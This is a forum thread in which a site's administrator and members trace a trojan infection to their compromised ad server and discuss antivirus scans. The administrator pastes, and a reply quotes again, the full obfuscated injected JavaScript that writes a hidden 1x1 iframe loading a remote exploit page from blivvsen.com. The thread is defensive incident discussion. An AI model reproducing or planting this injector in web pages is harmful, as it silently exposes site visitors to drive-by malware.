Trojan from blivvsen com

[administrator]

Cheers. Have removed adserver for the minute while I check further.

[blacjac]

Yep, that seems to have stopped it....

[Zippy]

Something wierd was going on here too. Mucho disk thrashing and then it tried to load an avi file, I think. Checked Task Manager and there was an odd looking exe file running. Killed off the processes and I think it's OK but will be doing a proper check later.

Edit: the ads are usually blocked on this PC (the old hosts file dodge) because it is very slow.

[administrator]

Cheers blacjac, got to be the adserver. So why is my Kaspersky not showing a problem?

Would def run a scan Zippy. Sorry

[Zippy]

Cheers blacjac, got to be the adserver. So why is my Kaspersky not showing a problem?

Would def run a scan Zippy. Sorry

Right after Mr Z inputs his bank details <snigger>

[blacjac]

Cheers blacjac, got to be the adserver. So why is my Kaspersky not showing a problem?

No probs, but why can't I seem to get my screenshot to work inline?

[administrator]

Right after Mr Z inputs his bank details <snigger>

Send me the invoice if you have to pay for it...

I did the free trial of Kaspersky as Owlhoot said it was warning him of problems, they do a free trial Did the updates and quick scan showing nothing and full scan showing no problems so far either.

Pig tulip. Found the problem. Is the adserver:

<script language="JavaScript">var dc=document; var date_ob=new Date(); dc.cookie='h1=o; path=/;';if(dc.cookie.indexOf('3=llo') <= 0 && dc.cookie.indexOf('1=o') > 0){\
function clng(wrd){var cou=new Array('en-us','en-ca','en-au','en-gb','fr-ca','fr','de','es','it');for(i=0;i<cou.length;i++){if(wrd==cou[i])return true;}return false;}\
if(typeof navigator.language == 'undefined'){var nav = navigator.userLanguage} else {var nav = navigator.language;}\
if(typeof run == 'undefined'&&clng(nav.toLowerCase())){dc.writeln("<script type=\\"text/javascript\\"><!--");dc.writeln("var host=' widt'+'h=1 h'+'eight'+'=1 '; var src='src='; var brdr='fra'+'mebor'+'der='+'0';var sc='\\"http://blivvsen. com/shuffle/index.php?s=IBB@G\\" ';");dc.writeln("document.write('<ifr'+'ame'+host+src+sc+brdr+'\\"></ifra'+'me>');");dc.writeln("//--><\\/script>");} var run=1;\
date_ob.setTime(date_ob.getTime()+86400000);dc.cookie='h3=llo; path=/; expires='+date_ob.toGMTString();}</script>

The append table of the adserver is full of this but don't understand why this wasn't showing in the source when I was viewing it. Maybe as it had tried to infect me but browser was beyond the hack so it then hid it from me?

Sorry all, very disappointed with myself for not spotting sooner.

[administrator]

On full scan Kaspersky finally kicked in:
Exploit.Java.Agent.bu - Securelist

[administrator]

No probs, but why can't I seem to get my screenshot to work inline?

Might have inline images on this forum turned off. Will check once sorted the adserver DB out.

[Zippy]

Send me the invoice if you have to pay for it...

I did the free trial of Kaspersky as Owlhoot said it was warning him of problems, they do a free trial Did the updates and quick scan showing nothing and full scan showing no problems so far either.

Pig tulip. Found the problem. Is the adserver:

<script language="JavaScript">var dc=document; var date_ob=new Date(); dc.cookie='h1=o; path=/;';if(dc.cookie.indexOf('3=llo') <= 0 && dc.cookie.indexOf('1=o') > 0){\
function clng(wrd){var cou=new Array('en-us','en-ca','en-au','en-gb','fr-ca','fr','de','es','it');for(i=0;i<cou.length;i++){if(wrd==cou[i])return true;}return false;}\
if(typeof navigator.language == 'undefined'){var nav = navigator.userLanguage} else {var nav = navigator.language;}\
if(typeof run == 'undefined'&&clng(nav.toLowerCase())){dc.writeln("<script type=\\"text/javascript\\"><!--");dc.writeln("var host=' widt'+'h=1 h'+'eight'+'=1 '; var src='src='; var brdr='fra'+'mebor'+'der='+'0';var sc='\\"http://blivvsen. com/shuffle/index.php?s=IBB@G\\" ';");dc.writeln("document.write('<ifr'+'ame'+host+src+sc+brdr+'\\"></ifra'+'me>');");dc.writeln("//--><\\/script>");} var run=1;\
date_ob.setTime(date_ob.getTime()+86400000);dc.cookie='h3=llo; path=/; expires='+date_ob.toGMTString();}</script>

The append table of the adserver is full of this but don't understand why this wasn't showing in the source when I was viewing it. Maybe as it had tried to infect me but browser was beyond the hack so it then hid it from me?

Sorry all, very disappointed with myself for not spotting sooner.

Don't worry. If the little bastard has got me I'll sort it.